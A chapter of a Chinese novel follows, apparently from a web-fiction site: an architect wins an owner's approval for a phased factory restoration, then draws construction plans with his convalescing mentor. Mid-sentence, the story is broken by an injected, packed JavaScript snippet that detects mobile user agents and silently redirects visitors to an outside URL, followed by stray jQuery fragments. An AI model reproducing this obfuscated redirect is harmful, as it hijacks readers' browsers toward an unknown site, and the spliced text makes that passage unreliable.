预算会议在周四上午十点，地点在业主公司那间铺着厚地毯的会议室。
林溪提前半小时到。他站在落地窗前，俯瞰这座城市的晨光。手里紧握着方案文件——足足五十页，每一页都是过去七天熬夜的成果。钢木混合结构、地基加固、排水系统重建、历史元素保留……每个细节都有计算依据，每个数字都反复核对过。
但胃里依然像坠着一块冰。
顾怀瑾因为医生强制要求休养，不能到场。昨晚视频会议时，他的脸色在屏幕光里显得苍白，但声音很稳：“记住，你不是去求他们批准。你是去告诉他们，什么是正确的做法。”
“如果他们不同意呢？”
“那就让他们知道不同意的后果。”顾怀瑾顿了顿，“但不要说教，摆数据。人是可以被事实说服的，如果事实够硬。”
门开了。业主方来了四个人：项目总监张总，一个五十多岁、头发梳得一丝不苟的男人；财务主管，戴金丝眼镜的女士；工程部经理，皮肤黝黑的中年人；还有一位年轻助理，负责记录。
寒暄，落座，咖啡端上。空气里有淡淡的香水味和纸张油墨味。
张总翻开方案，直接翻到预算汇总页。他的眉头在看到那个数字时，肉眼可见地皱了起来。
“林工。”他合上文件夹，“这个预算，比我们最初设想的高了百分之六十。”
“因为最初设想的方案，无法解决根本问题。”林溪的声音比预想的平稳，“厂房的地基有历史遗留的暗河问题，上部结构已经因此发生系统性损伤。如果不从地基开始修复，任何表面改造都是浪费。”
工程部经理开口：“我们有第三方检测报告，结构评级是C级，还没到必须大修的程度。”
林溪翻开方案附录，推过去一页照片：“这是屋顶崩塌后的现场。主梁断裂，屋架系统连锁失效。C级评级是基于两个月前的勘查，现状已经恶化。”
照片上，断裂的木梁像被撕开的伤口。会议室里安静了几秒。
财务主管推了推眼镜：“但即使如此，你们的方案也过于……理想化了。钢木混合结构，保留旧木料，这些都会大幅增加施工难度和成本。我们完全可以用钢结构全部替换，更快更便宜。”
林溪感到手心在出汗。他想起顾怀瑾的话：不要说教，摆数据。
“我做了对比分析。”他切换PPT页面，“全钢结构方案，初期造价确实低百分之二十。但请注意这里——”他指向图表下方的小字，“钢材的热胀冷缩系数与现有砖墙差异较大，连接处易开裂，后期维护成本预计高出三倍。而钢木混合结构，新旧材料的热性能接近，长期来看更稳定。”
张总的手指在桌面上轻轻敲击。这是他思考时的习惯。
“另外，”林溪继续，“完全拆除旧木料，意味着厂房的‘木构记忆’彻底消失。根据我们与老工人的访谈，这些红松木梁不只是结构构件，更是集体记忆的载体。保留并修复它们，是项目‘文创孵化’定位的核心价值所在。”
“情怀不能当饭吃。”财务主管冷冷地说。
“不是情怀，是投资回报率。”林溪调出另一份数据，“我们调研了国内七个类似的旧改项目。保留历史元素越完整的项目，后期招商溢价越高，平均租金高出同地段百分之三十。因为租户买的不是空间，是故事。”
这是他和顾怀瑾上周连夜整理的数据。每一个案例都有出处，每一组数字都有来源。
工程部经理俯身细看那些数据，表情开始松动。
张总沉默了很久。会议室里只有空调出风口的细微声响。窗外的阳光移动了一寸，照在林溪面前的方案封面上。
“林工，”张总终于开口，“我理解你的专业坚持。但我们的预算确实有限。能不能……折中一下？”
来了。妥协的邀请。
林溪的心脏重重跳了一下。他想起顾怀瑾昨晚的最后一句叮嘱：“底线可以坚守，但方法可以灵活。如果他们提出折中，你要立刻给出你的‘折中方案’——那个你早就准备好的、保住了核心的第二选项。”
“可以。”林溪翻开方案最后一章，“我们准备了分阶段实施计划。第一阶段先做地基加固和排水系统重建，这是保底线的工程。屋顶和上部结构修复放在第二阶段，资金可以分期到位。”
“时间呢？”
“总工期延长两个月，但第一阶段完成后，建筑就解除安全风险，可以开始局部使用。”林溪顿了顿，“而且，我们计算过，分期实施反而能享受一些政策性补贴，实际总成本可以再降百分之五。”
张总与财务主管交换了一个眼神。金丝眼镜女士在计算器上快速敲击，然后微微点头。
“我们需要内部讨论。”张总说，“林工请稍等，我们半小时后给你答复。”
四人起身离开会议室。
门关上的瞬间，林溪感到后背的衬衫已经湿透。他走到窗边，深呼吸。城市在脚下铺展，车流如血液在血管中流动。
手机震动，顾怀瑾的消息：“怎么样？”
“在等结果。提了分期方案。”
“很好。现在，去洗手间，用冷水洗脸，然后回来坐着等。不要表现出焦虑。”
林溪照做了。冷水刺激皮肤，让混乱的思绪清醒了些。镜子里的人眼睛里有血丝，但眼神还算坚定。
回到会议室时，他看见桌上自己的方案被翻到了某一页——是那张老工人在厂房里“演示”工作流程的照片。李阿姨指着机器讲解，阳光穿过破窗照在她灰白的头发上。
张总他们回来时，注意到了林溪在看那张照片。
“这位是？”张总问。
“李秀兰，红光纺织厂三十年的挡车工。”林溪说，“她和她师傅赵秀英的手绘图纸，让我们发现了地基的暗河问题。”
张总沉默地看着照片。良久，他说：“我父亲也是工人。纺织厂的保全工，干了一辈子。”
会议室里的气氛微妙地改变了。
“分期方案，我们原则同意。”张总最终说，“但第一阶段预算还要压百分之十。能做到吗？”
这是最后的考验。林溪大脑飞速运转：压百分之十，意味着要削减一些非核心项目。但地基加固和排水系统不能动，那是底线。
“可以。”他说，“但需要调整部分材料规格。我会在今天下班前提交修改后的预算明细。”
“成交。”张总伸出手。
握手时，林溪感到对方手掌厚实，有老茧——也许真是工人家庭出身。
走出大楼时，正午的阳光刺眼。林溪站在人行道上，给顾怀瑾打电话。
“谈成了。分期实施，第一阶段预算压百分之十。”
电话那头沉默了两秒，然后传来顾怀瑾难得带着笑意的话：“恭喜。你出师了。”
简单的四个字，却让林溪鼻子一酸。
“现在做什么？”他问。
“现在，”顾怀瑾说，“回事务所，开始画施工图。真正的硬仗刚开始。”
回程的出租车上，林溪看着窗外飞驰的街景。手机里弹出新邮件——是张总的助理发来的会议纪要，附言：“张总说，请务必保留那些老木头。他父亲说，以前的木头会呼吸。”
林溪保存了邮件。
回到事务所时，模型室已经成了旧厂房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193486|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
项目的临时指挥部。墙上贴满了图纸、照片、数据表。陆深和苏薇正在讨论什么，看见林溪进来，都抬起头。
“听说你单枪匹马搞定业主了？”陆深竖起大拇指，“厉害啊林工。”
“还没搞定，刚拿到入场券。”林溪脱下西装外套，松开领带，“接下来才是真的开始。”
他走到工作台前，铺开第一阶段的地基加固图。铅笔、比例尺、计算器。熟悉的工具，熟悉的动作，但心境已经不同。
这一次，没有人站在身后指导每一步。
这一次，他是那个做决定的人。
傍晚六点，顾怀瑾来了。他穿着宽松的居家服，右肩的绷带在布料下隐约可见。手里提着一个保温袋。
“晚饭。”他把袋子放在工作台角落，“你肯定忘了吃。”
林溪这才意识到自己确实饿了。保温袋里是清淡的粥和小菜，还有一盒切好的水果。
“您怎么来了？医生不是让休息——”
“来看看。”顾怀瑾走到图纸前，俯身细看，“地基加固的节点详图，画得不错。但这个位置——”他指着某个标注，“排水管穿越基础墙的地方，防水构造要再加强。暗河虽然改道，但地下水位依然会波动。”
他拿起铅笔，在图纸边缘画了个简图：“做两道止水带，中间填遇水膨胀橡胶。成本增加不多，但可靠性翻倍。”
林溪看着那简洁准确的草图，忽然想起自己刚入职时，顾怀瑾也是这样在他的潦草方案上批注。
只是那时他满心不服，现在他满心感激。
“对了。”顾怀瑾直起身，“李阿姨下午给我打电话，说老工人们想成立一个‘顾问团’，帮忙回忆厂房的细节。你抽空去见见他们，有些东西图纸上没有。”
“好。”
顾怀瑾准备离开时，在门口停下：“林溪。”
“嗯？”
“今天在谈判桌上，当对方提出折中时，你是什么感觉？”
林溪想了想：“紧张，但……也有点兴奋。因为知道那是真正的战场。”
顾怀瑾点点头：“记住这种感觉。建筑设计到最后，百分之三十是技术，百分之七十是这种‘战场’上的判断。”
他离开了。走廊的灯光把他的影子拉得很长。
林溪回到工作台前，继续画图。铅笔划过纸张的声音，在安静的模型室里规律地响着。
窗外的天色渐渐暗透，城市的灯火渐次亮起。他把顾怀瑾画的防水构造简图贴在墙上，旁边贴着李阿姨给的老照片，还有周晨画的那张“谢谢门”的蜡笔画。
不同时空的碎片，在这个空间里拼贴成一个完整的叙事。
深夜十一点，第一阶段施工图的主体部分完成。林溪保存文件，关掉电脑。
离开前，他站在门口回望这个房间。图纸、模型、照片、便签……像一个正在生长的有机体，呼吸着，脉动着。
而他是那个赋予它生命的人。
这个认知让他既感到沉重，也感到一种奇异的轻盈。
锁门，下楼，走进夜色。晚风微凉，吹散了白天的疲惫。
手机震动，是顾怀瑾发来的消息，只有一张照片：公寓工作台上摊开的旧厂房老照片，旁边放着一杯冒着热气的茶。
附言：“地基要深，但心要静。”
林溪抬头看向夜空。没有月亮，但星星很亮。
他知道，明天会有新的问题，新的挑战。
但他也知道，自己已经准备好了。
不是准备好胜利，是准备好面对。
而有些路，一旦开始走，就不能回头。
也不该回头。